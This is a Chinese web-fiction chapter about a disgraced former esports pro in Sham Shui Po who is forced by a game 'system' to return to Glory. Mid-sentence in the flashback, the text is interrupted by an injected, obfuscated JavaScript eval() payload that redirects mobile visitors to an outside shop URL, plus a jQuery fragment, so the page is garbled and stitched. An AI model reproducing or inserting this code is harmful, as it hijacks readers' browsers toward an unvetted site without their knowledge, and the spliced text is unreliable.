1.
下午三点四十分，太阳像一颗煎过头的溏心蛋，软塌塌地挂在旧唐楼之间，把整条街烤得黏糊糊的。
荣记茶餐厅的霓虹招牌缺了个“记”字的偏旁，招牌是阿妈九十年代找街口李伯手写的，字迹已经斑驳许久。
铺面不大，八张卡座，两排吧台凳，墙上贴着发黄的菜单，最贵那道叉烧煎蛋饭也才二十八港币。角落里一台老式风扇摇着头，把油烟和奶茶味搅在一起，吹得收银台下面那摞旧报纸哗哗翻页。
江辞懿就趴在那摞报纸旁边，脸朝下，手臂耷拉在台面上，整个人显得无精打采。
他穿一件领口松垮的白T恤，外面套着荣记那条洗不干净油渍的红色围裙，头发长了一点，垂下来遮住半边脸。露出来的那半边——怎么说呢——街坊陈太每次来买外卖都要多瞄两眼，然后转头跟老公说“生得咁靓仔，做咩唔去选港男”（长得这么帅，怎么不去选港男）。
他懒洋洋地抬起一只手，手指修长，骨节分明，指甲剪得干干净净。这只手曾经在荣耀职业联赛的舞台上每秒敲击键盘超过五次，现在用来……按计算器。
“今日营业额，一千零四十二。”他自言自语地报了个数，声音闷在胳膊里，含含糊糊的，像没睡醒。
然后他翻了个身，改成仰面朝天瘫在椅子上，后脑勺搁在椅背边缘，眼睛半睁半闭地望着天花板上那块永远擦不掉的水渍。那水渍的形状，他看了两年，觉得越来越像荣耀里荒漠小镇的俯视图。
……想什么呢，他闭了闭眼。
“阿懿！”后厨传来阿妈中气十足的喊声，“两个冻柠茶，一个菠萝油，拎出去！”
“知啦。”（知道了。）
他慢吞吞地站起来，动作像开了0.5倍速。从冰柜拿柠檬，切片，捣两下，加茶加冰加糖浆，一气呵成，手倒是比脑子快。菠萝油从烤箱夹出来，横切一刀，塞进厚切牛油，热力把牛油逼得微微融化，香气蹿出来。他端着托盘往外走，塑料拖鞋在瓷砖地上啪嗒啪嗒响。
卡座上坐着一对母女，小女孩大概十来岁，扎着马尾，正低头玩一台屏幕碎成蛛网的老款手机。她妈妈是个烫着卷发的师奶，正在翻菜单。
江辞懿把冻柠茶和菠萝油放上了隔壁桌后，来到了这一桌。
“要来个什么？”他轻声问。
“老板啊——”师奶抬头，眯起眼打量他，“我家小孩说之前在电视里看过你，是哪个大明星哦？”
江辞懿放杯子的手顿了一瞬，眼神飘忽了一下。
“……怎么可能，”他面不改色地笑着，“一定是你家小孩记错了。”
“系咩？”（是吗？）师奶将信将疑地又看了他一眼，目光从他脸上滑到下巴，再到肩膀，带着香港街坊特有的那种看人很准的自信，“不过你长得那么好看，不当明星可惜了，来两个冻柠茶和菠萝油。”
江辞懿点点头敷衍了一下她的建议，记下她要的东西后转身往回走，走到一半——
「叮。」
他脚步一顿。
眼前，准确来说是他视网膜正前方大约二十厘米处，凭空弹出了一块半透明的蓝色光屏。光屏边缘带着故障风的像素抖动，像老式电视机信号不好时那种雪花闪烁。
他端着托盘，面无表情地看着它。
「打脸返场系统已激活。宿主：江辞懿。条件达成：离线时长730天，距荣耀主赛场直线距离>1000km。当前坐标：香港深水埗，确认完毕。」
江辞懿的眼皮跳了一下。
「系统正式启动，新手任务发布：请宿主在24小时内，于荣耀第十区创建新角色，并完成首次登录。奖励：技能点+3，新手礼包×1。逾期未完成，系统将自动执行惩罚机制。」
他盯着“惩罚机制”四个字，瞳孔微微收缩了一下。
那对母女的对话还在继续，他甚至可以清晰地听到小女孩在说“真的是他啦我认得”，师奶在说“你认错啦”，风扇在吱呀吱呀地转，厨房里阿妈在喊“阿懿，三号台催单啊”。
一切正常。
世界还在运转，只有他站在原地，手里端着一个空托盘，像被人按了暂停键。
“……老板？”师奶感到疑惑，又喊了一声。
他回神，光屏还在。他快速扫了一眼系统面板底部。那里有一行极小的字，几乎需要贴到上面才能看清：「注：本系统绑定性极强，不可卸载，不可回避，不可欺骗。请宿主端正态度。」
“老板？？”师奶声音大了点。
“哎好嘞——”江辞懿的声音微微拔高，带着港式茶餐厅伙计那种标配的利落劲儿，用粤语应道，“冻柠茶和菠萝油两个！”
他转身走向后厨，脚步稳得很。走到后厨门口时，光屏还跟在他眼前飘。他伸手挥了一下，手穿过了光屏，光屏纹丝不动。
他深吸一口气，低声说了句没人听到的话：“……玩我啊。”
2.
阿妈在后厨煎蛋，头也没抬：“做咩啊？三号台催咗好耐啦。”（怎么了？三号台催很久了。）
“冇嘢。”（没事。）
他把空托盘放回架子上，靠着墙站了一会儿。光屏终于自动缩小成了一个悬浮在视野右上角的小光点，他闭了闭眼，再睁开，那东西像挥之不去了一样，还在那飘着。
系统面板适时地弹出一行新提示：「新手引导已就绪。请宿主尽快完成角色创建。温馨提示：第十区刚开服三天，是当前荣耀最新最热的服务器，非常适合『重新开始』。」
“重新开始”四个字被着重加了引号，好像提醒他什么似的。
江辞懿盯着那对引号，嘴角抽了一下。
3.
晚上九点，荣记打烊。
阿妈在收银台数钱，他在后厨洗碗。水声哗哗的，洗洁精泡沫裹着油渍往下淌。他把最后一个碟子摞好，擦干手，走到收银台前。
“妈，我上去啦。”
阿妈头也没抬，手指头在钞票上翻飞数着：“嗯。听日早啲落嚟帮手。”（明天早点下来帮忙。）
“好——”
他转身往楼梯口走，老唐楼的楼梯窄而陡，木扶手磨得油光发亮，每踩一级都吱呀一声。
上了楼，推开房门。房间不大，一张床，一个衣柜，一张书桌。书桌上搁着一台黑色笔记本电脑，外壳落了薄薄一层灰。
两年了，他离开H市的时候把这台电脑寄回来的，之后再没碰过。连线都还缠得整整齐齐，像一件被封存的遗物。
他站在门口看了它很久，然后移开视线，去洗澡。
热水冲下来的时候，他闭着眼，脑子里什么都没想。水汽弥漫，镜子里映出一个模糊的人影。肩膀宽阔，腰身劲瘦，湿漉漉的头发贴在额头上。他抬手把头发往后捋，露出整张脸。
确实很好看，好看得甚至有点过分——眉骨高且直，眼窝微深，嘴唇偏薄，不笑的时候嘴角微微下压，带着一点天然的冷淡。当年还在嘉世的时候，光靠这张脸就上过三次热搜，俱乐部拿他的照片做宣传海报，卖到脱销。
后来也是这张脸，被骂得最凶。“除了脸一无是处”、“花瓶选手”、“靠脸上位”、“滚出职业圈”。
他把水关了，毛巾蒙在脸上，闷闷地站了一会儿。
4.
晚上十点四十七分时。
他坐在电脑前，做了整整三十分钟的思想工作。期间站起来三次，一次去倒水，一次去上厕所，一次纯粹是站起来在房间里走了两圈又坐回来。
光屏右上角的小光点始终在闪，像一只耐心极好的电子跳蚤。
“……”
他最终把手放上键盘，掀开屏幕，按电源键。老机器发出一种垂死挣扎的嗡鸣，居然还能开机。他花五分钟下载了荣耀客户端。家里WiFi信号烂得要命，进度条爬得比蜗牛还慢，闲得无聊的他点开荣耀论坛。
论坛首页很热闹，当前讨论话题停在S7赛季微草战队夺冠，满屏都是“王杰希再封神”，“微草王朝开启”，“魔术师牛逼”。他滑动鼠标滚轮，手指犹豫了一下，鬼神使差地在搜索框里敲了两个字：嘉世。
然后他按下了回车键。
结果出来得很快，他一条条往下翻——
《嘉世S7赛季总结：八强都没进，王朝彻底崩塌》
《嘉世到底怎么了？从三连冠到一轮游》
《听说嘉世内部管理混乱，叶秋好像也……》
他皱着眉，点开最后那个帖子。正文没多少内容，底下评论七嘴八舌，有人说叶秋被俱乐部排挤，有人说他合同快到期了，有人说他可能要退役。帖子日期是三个月前，没有后续。
江辞懿靠在椅背上，闭上眼。
叶秋……这个名字再次涌上回忆。
荣耀职业圈里，很多人管叶秋叫“白月光”。这说法怪肉麻的，但仔细想想又确实贴切。这人强得离谱，三连冠，荣耀教科书，把嘉世从一个普通战队扛成豪门。但比实力更让人服气的，是他对荣耀本身那种纯粹到近乎固执的坚持。不接受商业化安排，不配合老板炒作，不妥协。因为他是叶秋，他有资本不妥协。
而自己呢？
他睁开眼，望着天花板。
当年他刚进嘉世的时候，十八岁，刚从青训营被叶秋提上来。俱乐部把他当宝贝，海报、采访、商业活动，安排得满满当当。他以为自己只要打好比赛就行，结果很显然不是。
俱乐部决定放弃他后，三天之内，他从天才少年变成了职业圈毒瘤。
他试过解释，在微博上发了长文，一条条澄清。结果评论区最高赞是：“解释就是掩饰，长成这样一看就不是省油的灯。”
他把那条评论看了十遍，然后删了微博，然后订了回香港的机票。
离开那天，H市下着雨。他拖着行李箱走出嘉世基地大门，他原本以为，门口一个人都没有。结果叶秋站在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17952463|214180||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
马路对面的便利店门口，手里拎着两罐可乐，也没打伞，头发被雨淋得贴在额头上。
“真走啊？”叶秋走过来，递给他一罐，好像就是给他准备的一样。
他接过来，低着点了点头：“嗯，待着难受。”
叶秋沉默了几秒，雨声很大，哗哗地浇在两个人身上。
叶秋最终说：“行，有缘再见。”
他拉开可乐，喝了一口苦笑道：“你倒是第一个没骂我的。”
“骂你干什么，”叶秋笑了笑，“你又没做错什么。”
江辞懿握着那罐可乐，低着头。雨水顺着他的下巴滴下来，分不清是不是别的什么。他张了张嘴，想说点什么——谢谢，对不起，或者其实我不想走——但最后什么都没说。
他拖着箱子走了，没有回头。
从那以后，他再也没碰过荣耀。
一个人回到香港，阿妈什么都没问他，只是在他放下行李箱的第二天早上，往桌上多放了一碗例汤。
“……唔该阿妈。”（谢谢妈。）
“食嘢啦。”（吃东西吧。）
他以为这辈子就这样了。
5.
「叮。」
这恼人的系统光屏弹出来，打断了他的回忆。
「检测到宿主正在浏览荣耀论坛。根据后台数据，宿主当前心率偏高、呼吸频率不规律、鼠标握持力度超过正常值34%。系统建议：尽快完成新手任务，以免产生额外『情绪成本』」
“……”他深吸一口气，对着空气开口，普通话字正腔圆，“我说，我就不能按照你说的做吗。”
如果可以，他实在是不想再碰荣耀了。这台电脑，这个游戏，那个圈子，统统不想。
他的房间里有一台电脑，他两年没打开过。今天打开了，手指放在键盘上的时候，那些肌肉记忆还在。
WASD，鼠标左键，技能快捷键，每一个键位的位置都烙在手指里。
他甚至还记得星火流云的技能连招顺序。左手四个键，右手鼠标划出一个弧度。精准到零点几秒的节奏。打出来的时候，弹药专家的枪口会喷出金色的火花，一颗一颗，像流星。
他记得，他全记得，他的身体比他的嘴诚实多了。
「当然可以。」系统的回复跳出来，语气读不出来，但光屏上的字打得格外慢，一个字一个字往外蹦，像在欣赏自己的残忍，「不过我会把你当年被骂的事做成新闻，反复发在香港电视里。翡翠台，黄金时段，连续滚动播放。『前荣耀选手星火流云因态度恶劣被退役内幕曝光』——你觉得标题怎么样？」
光屏旁边弹出一个倒计时面板。
23:59:59。
23:59:58。
23:59:57。
秒针一格一格地像催命符一样跳着。
江辞懿看着那个倒计时，表情从一开始放面无表情，到嘴角微抽，再到闭上眼深深吸了一口气。
“……行，”他睁开眼，认了命一般，咬着后槽牙，声音从牙缝里挤出来，“我干还不行吗。”
光屏欢天喜地地闪了一下，倒计时消失。新的任务面板弹出来，还贴心地标注了红字：「第一步：点击『新建角色』」
江辞懿盯着那台老电脑的屏幕。荣耀客户端已经下载好了，桌面上多了一个图标，火焰形状的。他的鼠标悬在上面，停了很久。
窗外，深水埗的夜还在继续。楼下传来阿妈关灯的声音，街上有夜归的人拖着脚步走过，远处有狗在叫。一切都很正常，很日常，很香港。
只有他在凌晨的房间里，点开了两年前那个让他身败名裂的游戏。
「新手任务：请在第十区创建角色。」
鼠标点下去，登录界面弹出来，开场CG开始播放——十年荣耀。
熟悉的音乐响起来，他下意识地跟着哼了半句，然后猛地闭上嘴。
「角色创建页面已就绪，请宿主输入角色ID。」
他把手放上键盘，光标在输入框里一闪一闪。
打什么呢？
“星火流云”吗？那个ID已经在两年前被他自己注销了。或者随便敲一串字母，玩两天就删号，把系统糊弄过去就行。他手指动了动，准备打一串乱码。
然后他停住了。
他闭上眼，想起当年离开上海的那天，叶秋递给他的那罐可乐。想起叶秋说“你又没做错什么”。想起那个雨夜，他拖着箱子走了，没有回头。
……不知道那家伙现在在干什么呢。
他睁开眼，光标还在闪，然后他慢慢敲下四个字。
星、火、燎、原。
屏幕跳转，角色创建成功。弹药专家，一级，站在新手村的草地上，ID在他头顶闪了闪。
星星之火，可以燎原。
江辞懿看着那个ID，看了一会儿。然后他偏过头，把脸埋进胳膊里，闷声说了句：“……真烦人啊。”